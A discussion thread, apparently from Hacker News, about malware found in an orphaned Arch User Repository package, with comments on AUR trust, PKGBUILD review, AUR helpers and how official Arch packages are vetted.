Arch Linux AUR Repository Found to Contain Malware(sensorstechforum.com)
sensorstechforum.com
Arch Linux AUR Repository Found to Contain Malware
https://sensorstechforum.com/arch-linux-aur-repository-found-contain-malware/
136 comments
My understanding is some things (e.g. Google Chrome, Google and Microsoft fonts) can't be put in the main Arch Linux repos for copyright reasons.
I wonder how other distributions solve that situation.
By being popular enough to have providers package the software for them. For example, Chrome is available from a repo maintained by Google itself.
https://www.google.com/linuxrepositories/
OTOH, you're basically giving Google root access to your machine.
https://www.google.com/linuxrepositories/
OTOH, you're basically giving Google root access to your machine.
Either ignore them (Ubuntu) or they just don't. For many years Debian and Fedora didn't have MP3 decoder installed by default.
Distributing them as repackaged binaries would be against the terms. I'm unsure what distros ignores the terms and packages them anyway. It is a clear liability for any larger distributions at least.
What packages would you like to se inn our repositories?
Imho, especially things that are important solutions to common things on the Archwiki but are AUR, indicated with the AUR superscript there.
For example for MTP: https://wiki.archlinux.org/index.php/Media_Transfer_Protocol The one that worked most stable for me was simple-mtpfs, but it's AUR.
It happens with other archwiki topics too, I encounter it regularly though can't think of good examples from the top of my head currently. E.g. the btrfs article mentions several AUR utilities though admittedly nothing important I need right now :)
And then some important development tools, like closure-compiler https://aur.archlinux.org/packages/closure-compiler/
For example for MTP: https://wiki.archlinux.org/index.php/Media_Transfer_Protocol The one that worked most stable for me was simple-mtpfs, but it's AUR.
It happens with other archwiki topics too, I encounter it regularly though can't think of good examples from the top of my head currently. E.g. the btrfs article mentions several AUR utilities though admittedly nothing important I need right now :)
And then some important development tools, like closure-compiler https://aur.archlinux.org/packages/closure-compiler/
>simple-mtpfs
Not maintained (last commit in 2016). So that will be something low on the priority list.
>btrfs
The dedupe tool looks interesting. Noted on my todo.
>closure-compiler
Was dropped from the repository. Probably because of the lack of an maintainer.
Not maintained (last commit in 2016). So that will be something low on the priority list.
>btrfs
The dedupe tool looks interesting. Noted on my todo.
>closure-compiler
Was dropped from the repository. Probably because of the lack of an maintainer.
> Not maintained (last commit in 2016). So that will be something low on the priority list.
I see! Time for me to start looking for a new method of transfering files from android then, thanks for the heads up
I see! Time for me to start looking for a new method of transfering files from android then, thanks for the heads up
Honestly I've always found MTP to be incredibly slow and sometimes unreliable.
I personally just install termux, which allows you to install openssh. Run sshd and then you can use rsync or scp or sshfs or other from the host PC.
I personally just install termux, which allows you to install openssh. Run sshd and then you can use rsync or scp or sshfs or other from the host PC.
There's a very nice open source sshd daemon based on dropbear that I use. Doesn't require root or anything. I use it for pretty much all my file transfer needs. https://play.google.com/store/apps/details?id=org.galexander...
KDE Connect allows transferring individual files or browsing the Android filesystem, in addition to all its other goodies.
For MTP: gvfs-mtp is in the main repos, and pretty much the fullest-featured MTP implementation that exists, which includes all the extensions Android made to it to turn it into a block-oriented file system.
Honestly, MTP is terrible on every OS though. Mac and Windows have it a _lot_ worse for interacting with MTP devices.
Honestly, MTP is terrible on every OS though. Mac and Windows have it a _lot_ worse for interacting with MTP devices.
>Not spelling AUR right
Honestly AUR has covered everything I've needed.
Honestly AUR has covered everything I've needed.
I package for Arch so the question is what the author wants in our repositories. Not in AUR.
This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.
Yeah it's funny, my first thought was since I started using Arch, the most common thing I hear people say is that packages from AUR should be considered unsafe until you've read the PKGBUILD, at least. It's a good thing it gets brought up so much, unfortunately.
Even yaourt defaults to prompting you to read all the packages scripts and displays a red WARNING UNSAFE when the package is unmaintained as this one was.
It has options to configure it to do everything automatically, but you have to actively go in and set it so.
It has options to configure it to do everything automatically, but you have to actively go in and set it so.
yaourt sources the PKGBUILD before it allows you to review it, which is why it is considered unsafe.
What would you recommend over yaourt?
I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper.
[1] https://github.com/Jguer/yay
[2] https://aur.archlinux.org/packages/yay-bin/
[1] https://github.com/Jguer/yay
[2] https://aur.archlinux.org/packages/yay-bin/
#!/bin/bash
set -e
if [ -z "$1" ]; then echo "No package name specified."; exit; fi
mkdir -p $1
cd $1
wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz"
tar xzf $1.tar.gz
cd $1
makepkg -sf
read -n 1 -s -p "Press any key to continue..."
echo -e "\n"
sudo pacman -U --noconfirm --needed $1*pkg.tar.xz
if [ -z "$1" ]; then echo "No package name specified."; exit; fi
mkdir -p $1
cd $1
wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz"
tar xzf $1.tar.gz
cd $1
makepkg -sf
read -n 1 -s -p "Press any key to continue..."
echo -e "\n"
sudo pacman -U --noconfirm --needed $1*pkg.tar.xz
Now _that's_ a package manager!
aurman. More choices can be found here https://wiki.archlinux.org/index.php/AUR_helpers
I like and use auracle. It's basically a rewrite / redo of cower, the core of pacaur, by the same developer. Pacaur was the most popular alternative to Yaourt, but is now discontinued.
cower from falconindy
I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]).
It has happened to the snap store recently, but AUR has been around for ages.
[0]: https://repology.org/repository/aur
It has happened to the snap store recently, but AUR has been around for ages.
[0]: https://repology.org/repository/aur
> Following the discovery all dangerous instances were removed and the user account suspended.
I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."
I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."
I tried installing Arch Linux, and it was harder then installing SunOS 4.3. The instructions were absolutely wrong. I wish I could give it another try, but I just don't have time to experience the wow's of the early 90s just to get a browser up.
The Arch wiki used to have an amazing Beginner's guide along with the general Installation Guide. They've since dropped it from the wiki, but there are archived versions that I still bring up every now and then when setting up a new Arch install. Here's one: https://csdietz.github.io/arch-beginner-guide/
The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges.
When a package gets orphaned, that means that anybody in the community can take over maintainership of the package.
There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time.
Honestly, I'd be surprised if this hasn't happened before with orphaned packages.
There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time.
Honestly, I'd be surprised if this hasn't happened before with orphaned packages.
> yes, this is a fundamental problem with the security model of Arch Linux
No, it's not. AUR is not Arch, and is not "supported" by Arch.
It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran
From the AUR homepage, in big text:
> AUR packages are user produced content. Any use of the provided files is at your own risk.
No, it's not. AUR is not Arch, and is not "supported" by Arch.
It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran
git clone git://github.com/user/repo . && ./configure && make && sudo make install
From the AUR homepage, in big text:
> AUR packages are user produced content. Any use of the provided files is at your own risk.
AUR has the word "Arch" in its name and is linked right at the top of the Arch Linux homepage and from every Arch Linux webpage. So it's disingenuous to claim it is "not Arch.”
Contrast this to the old debian-multimedia, which had no links from Debian.org and which eventually yielded to pressure to change its name to make clear that it was not part of Debian.
Contrast this to the old debian-multimedia, which had no links from Debian.org and which eventually yielded to pressure to change its name to make clear that it was not part of Debian.
Just to emphasize how little AUR is supported by Arch:
Even the 'AUR helpers' aren't part of the normal Arch repositories. So if you wan't a less manual access to the AUR you have to install such a program manually.
And the Arch Wiki states:
Even the 'AUR helpers' aren't part of the normal Arch repositories. So if you wan't a less manual access to the AUR you have to install such a program manually.
And the Arch Wiki states:
Warning: AUR helpers are not supported by Arch Linux. It is recommended to become familiar with the manual build process in order to be prepared to troubleshoot problems on one's own. [1]
I understand your point but the problem is that the title is "Arch Linux AUR Repository Found to Contain Malware" (and not, for example: "AUR Repository Found to Contain Malware"). I would argue that the implication (I guess reputation-wise if that matters) starts with the "Arch Linux" part. It's easy to jump on Arch because of this regardless of the fact that the AUR is not supported. At a cursory glance plenty of people (though incorrect) will equate this to "Arch Linux contains malware"
This isn't unique to Linux.
Most people would read "Apple App Store Found to Contain Malware" as "Apple Devices Found to Contain Malware" too.
Most people would read "Apple App Store Found to Contain Malware" as "Apple Devices Found to Contain Malware" too.
The App Store is closer to the official Arch repos, since it is vetted by Apple. The AUR is closer to just downloading stuff off the Internet.
AUR PKGBUILDs are much more restricted than this, since they're restricted to a fakeroot.
Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
No. Whatever you stick in the install= file will run as root at install time. If you're using an AUR helper/running `makepkg -i`, the PKGBUILD absolutely can run code as root, without waiting for you to interact with the installed program. Installing a package from a PKGBUILD is no more or no less "powerful" to an attacker than `make && sudo make install`.
The install hooks are chrooted inside the pacman install directory.
But, yeah, they run as root, so they can still do damage.
My point was that the danger zone is when you trust the package, rather than when you run the PKGBUILD itself with `makepkg`. Of course `makepkg -i` runs both `makepkg` and `pacman` as root.
But, yeah, they run as root, so they can still do damage.
My point was that the danger zone is when you trust the package, rather than when you run the PKGBUILD itself with `makepkg`. Of course `makepkg -i` runs both `makepkg` and `pacman` as root.
> this is a fundamental problem with the security model of Arch Linux
And with every other OS that isn't locked down so the user can't run arbitrary stuff.
The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch.
If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
And with every other OS that isn't locked down so the user can't run arbitrary stuff.
The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch.
If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
> this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time
It's exactly the same problem that every other distro has when users compile or install unvetted community packages.
The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
It's exactly the same problem that every other distro has when users compile or install unvetted community packages.
The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
The thing is not that it's a new deficiency or something, it's just that Arch user conveniently ignore this when praising their distribution over e.g. Debian.
AUR repository isn't supported by the core tools and packages. To use it one has to install external scripts. So it's by no means part of the system.
All it takes to build air packages is makepkg from the core pacman package. With gut you can grab aur packages from the terminal, and hit is also core. Every Arch install must have pacman and hit is in base-devel, a package group in core all AUR pkgbuilds are designed to assume is installed.
Urm, you need git, you need build tools... and pacman.
That's it. But oh yeah, because I do these things by hand and check whether the source urls point to the place I'd actually like to install (and other code doesn't download external sources, eg. in the PKGBUILD or external scripts like *.install files), I'm suddenly an exception.
I just noticed that the blue used on the Archlinux logo is actually quite consistent with Rick's hair color. https://i.imgur.com/kkE25w2.jpg Fits me. I don't give a damn.
That's it. But oh yeah, because I do these things by hand and check whether the source urls point to the place I'd actually like to install (and other code doesn't download external sources, eg. in the PKGBUILD or external scripts like *.install files), I'm suddenly an exception.
I just noticed that the blue used on the Archlinux logo is actually quite consistent with Rick's hair color. https://i.imgur.com/kkE25w2.jpg Fits me. I don't give a damn.
I'll assure you Rick has a blue-grayish color while the Arch logo is Navy Blue.
Which, as I said, very conveniently is glossed over by Arch users.
That's a problem with Arch users, not with Arch. It's unfortunately common that fanboys undermine the reputation of reasonable software.
Oh yes, it is a problem with the users, not the software itself, but you don't get to separate the two in the case of an OS or distribution.
> "but you don't get to separate the two in the case of an OS or distribution."
Actually I do get to do that. It's an important distinction because if the software isn't at fault, then a technically competent user can safely use it by merely not being as dumb as the average user. But if the software itself is at fault, then the technically competent user should stay clear of it. Idiots will be idiots no matter the distribution. If it weren't arch, they might be downloading third party RPMs or debs from untrusted sources. Would that be reason for a technically competent person to avoid RHEL or Debian? Of course not.
Actually I do get to do that. It's an important distinction because if the software isn't at fault, then a technically competent user can safely use it by merely not being as dumb as the average user. But if the software itself is at fault, then the technically competent user should stay clear of it. Idiots will be idiots no matter the distribution. If it weren't arch, they might be downloading third party RPMs or debs from untrusted sources. Would that be reason for a technically competent person to avoid RHEL or Debian? Of course not.
> It's an important distinction because if the software isn't at fault, [...]
Though the software is at fault. It created a false sense of security, misleading the users. What else in Arch just feels secure, but in fact is not?
And then, if the users around the software generally exhibit a jockey attitude, you get the whole environment built in a similar manner, not a robust one. The software may technically not be at fault and technically could be used in a safe manner, but you won't get much exposure to that, any such use will be cumbersome and difficult (because nobody uses it this way), so you still should stay clear of the software. So no, you don't get to separate the users and the OS/distribution.
Though the software is at fault. It created a false sense of security, misleading the users. What else in Arch just feels secure, but in fact is not?
And then, if the users around the software generally exhibit a jockey attitude, you get the whole environment built in a similar manner, not a robust one. The software may technically not be at fault and technically could be used in a safe manner, but you won't get much exposure to that, any such use will be cumbersome and difficult (because nobody uses it this way), so you still should stay clear of the software. So no, you don't get to separate the users and the OS/distribution.
> Though the software is at fault. It created a false sense of security, misleading the users. What else in Arch just feels secure, but in fact is not?
AUR never tried to pass false sense of security, it is explicitly declared as not supported everywhere.
> And then, if the users around the software generally exhibit a jockey attitude, you get the whole environment built in a similar manner, not a robust one. The software may technically not be at fault and technically could be used in a safe manner, but you won't get much exposure to that, any such use will be cumbersome and difficult (because nobody uses it this way), so you still should stay clear of the software. So no, you don't get to separate the users and the OS/distribution.
Except it is not, experienced users of Arch community vocally recommends new users to not blindly trust AUR, and the dangers of AUR is also documented everywhere. This is also one of the reasons that yaourt is shamed in public Arch communities like /r/archlinux, since it defaults to poor security behavior.
AUR never tried to pass false sense of security, it is explicitly declared as not supported everywhere.
> And then, if the users around the software generally exhibit a jockey attitude, you get the whole environment built in a similar manner, not a robust one. The software may technically not be at fault and technically could be used in a safe manner, but you won't get much exposure to that, any such use will be cumbersome and difficult (because nobody uses it this way), so you still should stay clear of the software. So no, you don't get to separate the users and the OS/distribution.
Except it is not, experienced users of Arch community vocally recommends new users to not blindly trust AUR, and the dangers of AUR is also documented everywhere. This is also one of the reasons that yaourt is shamed in public Arch communities like /r/archlinux, since it defaults to poor security behavior.
> AUR never tried to pass false sense of security, it is explicitly declared as not supported everywhere.
Funny that I only ever hear of this when talking about security aspects, not when discussing available software. In the latter case I always hear how many things are there in AUR, especially comparing to Debian. AUR must have failed miserably in not trying to pass false sense of security.
Funny that I only ever hear of this when talking about security aspects, not when discussing available software. In the latter case I always hear how many things are there in AUR, especially comparing to Debian. AUR must have failed miserably in not trying to pass false sense of security.
> Funny that I only ever hear of this when talking about security aspects, not when discussing available software. In the latter case I always hear how many things are there in AUR, especially comparing to Debian. AUR must have failed miserably in not trying to pass false sense of security.
One argument does not invalidate the other. It is true that tons of software are available in AUR that is not easily available in other distros. It is also true that AUR is not supported.
A similar thing happens with PPAs in Ubuntu or even with Flatpak/Snaps: they brings tons of additional software to the distro, however they're unsupported and can be security nightmares [1].
[1]:Yeah, even when Flatpak/Snaps are properly sandbox (since some apps are not), they can include software to mine cryptocurrencies for example.
One argument does not invalidate the other. It is true that tons of software are available in AUR that is not easily available in other distros. It is also true that AUR is not supported.
A similar thing happens with PPAs in Ubuntu or even with Flatpak/Snaps: they brings tons of additional software to the distro, however they're unsupported and can be security nightmares [1].
[1]:Yeah, even when Flatpak/Snaps are properly sandbox (since some apps are not), they can include software to mine cryptocurrencies for example.
Fortunately admins are not unreasonable and don't base their decisions on praises but on actual merits, so most servers run Debian rather than Arch (which is an interesting distro for other usage cases).
Who would want to use a rolling release distribution for a (production) server? Sounds like a pretty terrible choice, to be quite honest.
Maybe you could make the case for some cutting edge development or test box, but then again, I'd rather be testing on something that's as close to identical to the production environment as possible.
I used Arch on my laptop (primarily used for development) for several years. It mostly worked great and I always had access to the newest whatever with a minimum of hassle. I don't have many complaints, but occasionally after an update something critical would stop working.
I'm on Solus now and, so far, it's been pretty great. :-)
I used Arch on my laptop (primarily used for development) for several years. It mostly worked great and I always had access to the newest whatever with a minimum of hassle. I don't have many complaints, but occasionally after an update something critical would stop working.
I'm on Solus now and, so far, it's been pretty great. :-)
All of the Arch Linux infrastructure is run on Arch. Works pretty well.
There is an expectation that projects dogfood their own software, but I really can't think of a rational reason for a production server not affiliated with the Arch project to be running Arch.
Rolling release is great for technically competent users to install on their workstations, but why would you ever want a rolling release on a production server?
Rolling release is great for technically competent users to install on their workstations, but why would you ever want a rolling release on a production server?
Well, one thing which I know of several projects doing, is having an Arch server as one of the continuous testing servers. This way you can test against bleeding edge gcc/glibc/whatnot and catch bugs or breaking API changes long before they appear in major distros.
You wouldn't. The only reason why we run it is because we know it. I wouldn't have used Arch on any production things personally.
Nobody that values their job or sleeping well at night. It's basically one level of nuts above and beyond running Debian Sid on all your production servers.
I ran SID in a embedded customer box testing unreleased software, I did run it in KVM from a stable release since I wouldn’t have physical access if something went wrong, glad I did.
From the article:
"This is yet another incident that showcases that Linux users should not explicitly trust user-controlled repositories."
LOL. Why should this only apply to Linux users? We should all be wary of downloading random things from websites.
AUR has always been labeled "user submitted", but I guess it's easy to forget that some "users" are really out to cause harm.
"This is yet another incident that showcases that Linux users should not explicitly trust user-controlled repositories."
LOL. Why should this only apply to Linux users? We should all be wary of downloading random things from websites.
AUR has always been labeled "user submitted", but I guess it's easy to forget that some "users" are really out to cause harm.
Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.
Packages are vetted, in the repos, just not in AUR.
They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts.
Also this malware was found in AUR within a few hours of it going up.
They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts.
Also this malware was found in AUR within a few hours of it going up.
Exactly. It's actually kind of a success story for the AUR, since they found the malware so quickly.
Of course, it would be more interesting if we could scan or survey the AUR to get a percentage of suspicious packages. I've long been under the impression that some popular AUR packages (e.g. Google Chrome) are pretty safe from tampering. For anything else, I glance over the PKGBUILD to make sure it's not doing anything obviously fishy, and I've never noticed anything.
Of course, it would be more interesting if we could scan or survey the AUR to get a percentage of suspicious packages. I've long been under the impression that some popular AUR packages (e.g. Google Chrome) are pretty safe from tampering. For anything else, I glance over the PKGBUILD to make sure it's not doing anything obviously fishy, and I've never noticed anything.
How are official Arch packages vetted?
They are built by the core Arch developers, or as in the case of the 'community' repo, by 'Trusted Users', the latter being people who have done high quality maintaining of packages in the AUR and shown good community involvement.
Having met these criterias, they need to be sponsored by an existing TU, and then it will be put up to a vote.
Having met these criterias, they need to be sponsored by an existing TU, and then it will be put up to a vote.
Depends on what you deem "vetted". Builds from source from a trusted source. Try ask if they can PGP sign their sources. Builds fine. Pushed to the repos. If its an package from core or extra it goes through testing for a few days.
Also been a push towards reproducible builds, and the stones have been laid with pacman 5.1.
Also been a push towards reproducible builds, and the stones have been laid with pacman 5.1.
Unofficial user repositories contain unofficial user software. Shockers!
Sarcasm aside, I think a lot of the pearl-clutching over this incident is down to people not understanding the difference between the official repositories and the AUR.
Sarcasm aside, I think a lot of the pearl-clutching over this incident is down to people not understanding the difference between the official repositories and the AUR.
Of course, one should be careful about what one installs on their system. Even more so an Arch user, which should be technical saavy in the first place.
Anyways, I know I don't manually review everything I install on my system, I trust the packet manager.
I'm not an Arch user so I don't know, but doest the AUR repo have some kind of code signing or automatic analysis of the packages?
Anyways, I know I don't manually review everything I install on my system, I trust the packet manager.
I'm not an Arch user so I don't know, but doest the AUR repo have some kind of code signing or automatic analysis of the packages?
AUR is not an "official" repository at all -- indeed the acronym stands for "Arch User Repository". Kinda like github, you can go put whatever you want in there, and people can download and install it on their machines if they want to.
The "correct" way to install something from AUR is to go grab the install script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a thing uploaded by someone unafilliated with Arch, you make your decision on whether or not to run/install it. That said, there are (non-official) package managers that you can use which give you a package-manager-like experience installing packages from AUR and do a pretty good job of sweeping all of that under the rug. Convenient? yes; a good idea? it's your system, you decide (my opinion is 'no').
The "correct" way to install something from AUR is to go grab the install script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a thing uploaded by someone unafilliated with Arch, you make your decision on whether or not to run/install it. That said, there are (non-official) package managers that you can use which give you a package-manager-like experience installing packages from AUR and do a pretty good job of sweeping all of that under the rug. Convenient? yes; a good idea? it's your system, you decide (my opinion is 'no').
> a good idea? it's your system, you decide (my opinion is 'no').
This frustrates me. Because there is a large vocal group that opposes the use of yaourt (the most popular AUR package manager), I spent a year building packages by hand, just to see if there was something I was missing. I was not. It's just a complete PITA. In the end, I wrote scripts that just about duplicated yaourt -- checks for new versions of packages that I've installed, downloads the latest comments so I can see if there has been any controversy, checks for and installs dependencies, etc, etc.
There is nothing in the manual process that makes it more safe than installing with yaourt. Yaourt prompts you to edit the PKGBUILD file (and even defaults to this!). It is just as easy (and in fact, I think easier) to neglect to check what it's doing when you are building by hand.
After a year of building by hand, I went back to yaourt because I have better things to do with my time than write scripts that duplicate it.
I think the real issue is that many people do not want to legitimise AUR as a source of packages for everyday people. I can sympathise with this point of view and even agree to it to a certain extent. However, avoiding using a tool like yaourt is cutting off your nose to spite your face, IMHO.
This frustrates me. Because there is a large vocal group that opposes the use of yaourt (the most popular AUR package manager), I spent a year building packages by hand, just to see if there was something I was missing. I was not. It's just a complete PITA. In the end, I wrote scripts that just about duplicated yaourt -- checks for new versions of packages that I've installed, downloads the latest comments so I can see if there has been any controversy, checks for and installs dependencies, etc, etc.
There is nothing in the manual process that makes it more safe than installing with yaourt. Yaourt prompts you to edit the PKGBUILD file (and even defaults to this!). It is just as easy (and in fact, I think easier) to neglect to check what it's doing when you are building by hand.
After a year of building by hand, I went back to yaourt because I have better things to do with my time than write scripts that duplicate it.
I think the real issue is that many people do not want to legitimise AUR as a source of packages for everyday people. I can sympathise with this point of view and even agree to it to a certain extent. However, avoiding using a tool like yaourt is cutting off your nose to spite your face, IMHO.
> There is nothing in the manual process that makes it more safe than installing with yaourt. Yaourt prompts you to edit the PKGBUILD file (and even defaults to this!). It is just as easy (and in fact, I think easier) to neglect to check what it's doing when you are building by hand.
I get your point, but I think part of the reason for the official stance against AUR helpers is that they incline users to skip any manual vetting of the PKGBUILDs on their own. In practice, you're always going to have some subset of the population who won't even look at the source PKGBUILDs (helper or not), but I think this is a valid concern. If you download the package sources manually, the effort required to type "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a helper, where pressing a key to continue building is an awful lot more tempting than having the helper open the PKGBUILD in your editor (where you now have to press many more keys to continue)--regardless of the defaults.
What I tend to do is use an AUR helper to download the package sources and then manually build them from there. Helpers are incredibly useful for searching/downloading sources from the command line, but I'm not completely convinced having them build/install everything unattended is a particularly great idea. Part of this is the nature of the AUR and part of this is because if you use enough packages from the AUR, sooner or later, you're going to have to intervene and fix something (which defeats the point of using the helper in the first place). Plus, using the helper as a glorified fetch tool gives you something of an intermediate package cache as opposed to dumping everything in /tmp and nuking it between boots.
That said, I do agree it's more to avoid legitimizing the AUR. There's good reasons for this (legal and otherwise). But I think it's important for people to decide precisely how they wish to use the AUR as long as they understand the repercussions.
Also, I believe yaourt is considered deprecated as it hasn't seen updates in quite some time. I'd suggest something else like aurman or yay.
I get your point, but I think part of the reason for the official stance against AUR helpers is that they incline users to skip any manual vetting of the PKGBUILDs on their own. In practice, you're always going to have some subset of the population who won't even look at the source PKGBUILDs (helper or not), but I think this is a valid concern. If you download the package sources manually, the effort required to type "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a helper, where pressing a key to continue building is an awful lot more tempting than having the helper open the PKGBUILD in your editor (where you now have to press many more keys to continue)--regardless of the defaults.
What I tend to do is use an AUR helper to download the package sources and then manually build them from there. Helpers are incredibly useful for searching/downloading sources from the command line, but I'm not completely convinced having them build/install everything unattended is a particularly great idea. Part of this is the nature of the AUR and part of this is because if you use enough packages from the AUR, sooner or later, you're going to have to intervene and fix something (which defeats the point of using the helper in the first place). Plus, using the helper as a glorified fetch tool gives you something of an intermediate package cache as opposed to dumping everything in /tmp and nuking it between boots.
That said, I do agree it's more to avoid legitimizing the AUR. There's good reasons for this (legal and otherwise). But I think it's important for people to decide precisely how they wish to use the AUR as long as they understand the repercussions.
Also, I believe yaourt is considered deprecated as it hasn't seen updates in quite some time. I'd suggest something else like aurman or yay.
I think you're clutching at straws to be honest.
> If you download the package sources manually, the effort required to type "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a helper, where pressing a key to continue building is an awful lot more tempting than having the helper open the PKGBUILD in your editor (where you now have to press many more keys to continue)--regardless of the defaults.
You could make the same argument about effort to skip checking being fewer keystrokes to argue that yaourt makes its more convenient to check because that is also fewer keystrokes than typing an additional command manually in the command line. Thus I think the actual reality is people who are lazy will skip a self audit regardless of how they choose to build the package. Ie youart isn't problem.
> Plus, using the helper as a glorified fetch tool gives you something of an intermediate package cache as opposed to dumping everything in /tmp and nuking it between boots.
So change the build location. It's all configurable. /tmp makes sense as a default but I have mine set elsewhere. On a previous system I even had yaourt configured to build in its own ZFS tank.
> Also, I believe yaourt is considered deprecated as it hasn't seen updates in quite some time. I'd suggest something else like aurman or yay.
I often hear the same complaint made about Android apps (re it's not been updated in a while) but when it already does everything it needs to then why should it need to see further updates? It's not like yaourt doesn't keep track of security updates (I mean it's all just wrappers around GNU and BSD tools so if there's a bug in tar or OpenSSL then they will be updated independently anyway).
I've been using yaourt for several years and frankly I've never once felt "damn, this thing needs more maintenance".
> If you download the package sources manually, the effort required to type "makepkg" versus "less PKGBUILD" isn't significant. Contrast this to using a helper, where pressing a key to continue building is an awful lot more tempting than having the helper open the PKGBUILD in your editor (where you now have to press many more keys to continue)--regardless of the defaults.
You could make the same argument about effort to skip checking being fewer keystrokes to argue that yaourt makes its more convenient to check because that is also fewer keystrokes than typing an additional command manually in the command line. Thus I think the actual reality is people who are lazy will skip a self audit regardless of how they choose to build the package. Ie youart isn't problem.
> Plus, using the helper as a glorified fetch tool gives you something of an intermediate package cache as opposed to dumping everything in /tmp and nuking it between boots.
So change the build location. It's all configurable. /tmp makes sense as a default but I have mine set elsewhere. On a previous system I even had yaourt configured to build in its own ZFS tank.
> Also, I believe yaourt is considered deprecated as it hasn't seen updates in quite some time. I'd suggest something else like aurman or yay.
I often hear the same complaint made about Android apps (re it's not been updated in a while) but when it already does everything it needs to then why should it need to see further updates? It's not like yaourt doesn't keep track of security updates (I mean it's all just wrappers around GNU and BSD tools so if there's a bug in tar or OpenSSL then they will be updated independently anyway).
I've been using yaourt for several years and frankly I've never once felt "damn, this thing needs more maintenance".
AFAIK yaourt specifically is discouraged because its possible for a malicious PKGBUILD file to execute code before it is displayed to you (as a consequence of the way yaourt parses the files). Other AUR helpers do not have this problem.
In my opinion, this is a hard problem and not one that we can expect Arch Linux to take on or solve. We're talking about how we establish that a software package (source code, build script, binaries, etc.) can be deemed trustworthy such that we feel comfortable installing it onto our machine (which may hold important data, personal, financial, etc.) I don't think anyone has a good solution, with the Apple App Store at one extreme and (in my opinion) something like AUR at the other.
Arch discourages tools like yaourt because it makes it so easy to install some an unvetted package and that opens you up to the very real risk of installing malware. As you point out, downloading the package and building it isn't any safer if you don't read through the script. It's easy to make the argument that a casual read through of the package file will only catch the most obviously bad packages and a clever person could easily find better ways to hide their malware payload, so why bother looking at all?
If you aren't going to read the package files, you may as well use a tool like yaourt; there's effectively no difference. In my own experience it's rare that I have to install something from AUR so I can take the time to briefly scroll through the package files and check where the source code is coming from, easy stuff like that.
In the back of my mind, I understand I'm taking a risk; I think that's what Arch is trying to accomplish by discouraging tools like yaourt.
Arch discourages tools like yaourt because it makes it so easy to install some an unvetted package and that opens you up to the very real risk of installing malware. As you point out, downloading the package and building it isn't any safer if you don't read through the script. It's easy to make the argument that a casual read through of the package file will only catch the most obviously bad packages and a clever person could easily find better ways to hide their malware payload, so why bother looking at all?
If you aren't going to read the package files, you may as well use a tool like yaourt; there's effectively no difference. In my own experience it's rare that I have to install something from AUR so I can take the time to briefly scroll through the package files and check where the source code is coming from, easy stuff like that.
In the back of my mind, I understand I'm taking a risk; I think that's what Arch is trying to accomplish by discouraging tools like yaourt.
I can't speak for all AUR managers but the one I use (yaourt) is probably the most popular one on Arch and it definitely does prompt you to audit the package before you compile it.
No, AUR packages are PKGBUILD files, which are essentially little batch scripts that run inside a fakeroot.
IMHO, the danger of a PKGBUILD itself doing something nasty is small--it would be limited to things like recording `uname -a`, listing all your installed packages: the things mentioned in the article.
The real danger is that the PKGBUILD is installing some software, which you will later run with full user privileges. If you don't notice that the Git repo listed in the PKGBUILD file is wrong, you won't notice that you're actually installing a backdoored version of the package.
IMHO, the danger of a PKGBUILD itself doing something nasty is small--it would be limited to things like recording `uname -a`, listing all your installed packages: the things mentioned in the article.
The real danger is that the PKGBUILD is installing some software, which you will later run with full user privileges. If you don't notice that the Git repo listed in the PKGBUILD file is wrong, you won't notice that you're actually installing a backdoored version of the package.
The PKBUILD runs in the fakeroot, but AFAIK the .install files (postinstall hooks etc) run on the host system directly, with root permission. Definitely something you will always want to review.
(Also, I don't really get the critique of tools like yaourt, since they make it easy to inspect the PKGBUILD and - if present - install files. The tool simplifies downloading, you still need to review yourself!)
